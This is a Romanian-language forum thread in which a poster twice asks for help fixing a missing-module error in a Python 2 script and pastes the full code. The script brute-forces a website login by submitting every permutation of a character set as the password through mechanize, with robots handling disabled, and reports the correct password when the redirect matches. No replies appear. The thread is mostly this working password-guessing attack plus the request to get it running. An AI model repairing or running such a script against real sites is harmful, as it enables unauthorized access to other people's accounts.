Jump to content
xyz123

Putin ajutor Python va rog.

Recommended Posts

Posted

Am si eu o eroare in acest script cand il rulez, poti sa ma ajuti sa mearga?

Traceback (most recent call last):
File "C:\Users\hg\Desktop\h.py", line 2, in <module>
import mechanize
ImportError: No module named mechanize
>>>

Si acesta este codul

#!/usr/bin/python
import mechanize
import itertools

br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)

combos=itertools.permutations("i34U^hP-",8)
r =br.open("https://www.example.com/login/")
for x in combos:
new_form = '''
<form method="post" action="index.php">
<b>Enter the username :</b><input type="text" name="rollno" size="16" maxlength="8">
<b>Enter the password:</b><input type="password" name="pwd" size="16">
<input type="submit" name="submit" value="Submit">
</form>
'''
#all you have to take care is they have the same name for input fields and submit button
r.set_data(new_form)
br.set_response(r)
br.select_form( nr = 0 )
br.form['userName'] = "user name"
br.form['password'] = ''.join(x)
print "Checking ",br.form['password']
response=br.submit()
if response.geturl()=="http://www.example.com/redirected_to_url":
#url to which the page is redirected after login
print "Correct password is ",''.join(x)
break

Posted

Am si eu o eroare in acest script @MrGrj cand il rulez, poti sa ma ajuti sa mearga?Multumesc!

Traceback (most recent call last):
File "C:\Users\hg\Desktop\h.py", line 2, in <module>
import mechanize
ImportError: No module named mechanize
>>>

Si acesta este codul

#!/usr/bin/python
import mechanize
import itertools

br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)

combos=itertools.permutations("i34U^hP-",8)
r =br.open("https://www.example.com/login/")
for x in combos:
new_form = '''
<form method="post" action="index.php">
<b>Enter the username :</b><input type="text" name="rollno" size="16" maxlength="8">
<b>Enter the password:</b><input type="password" name="pwd" size="16">
<input type="submit" name="submit" value="Submit">
</form>
'''
#all you have to take care is they have the same name for input fields and submit button
r.set_data(new_form)
br.set_response(r)
br.select_form( nr = 0 )
br.form['userName'] = "user name"
br.form['password'] = ''.join(x)
print "Checking ",br.form['password']
response=br.submit()
if response.geturl()=="http://www.example.com/redirected_to_url":
#url to which the page is redirected after login
print "Correct password is ",''.join(x)
break

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...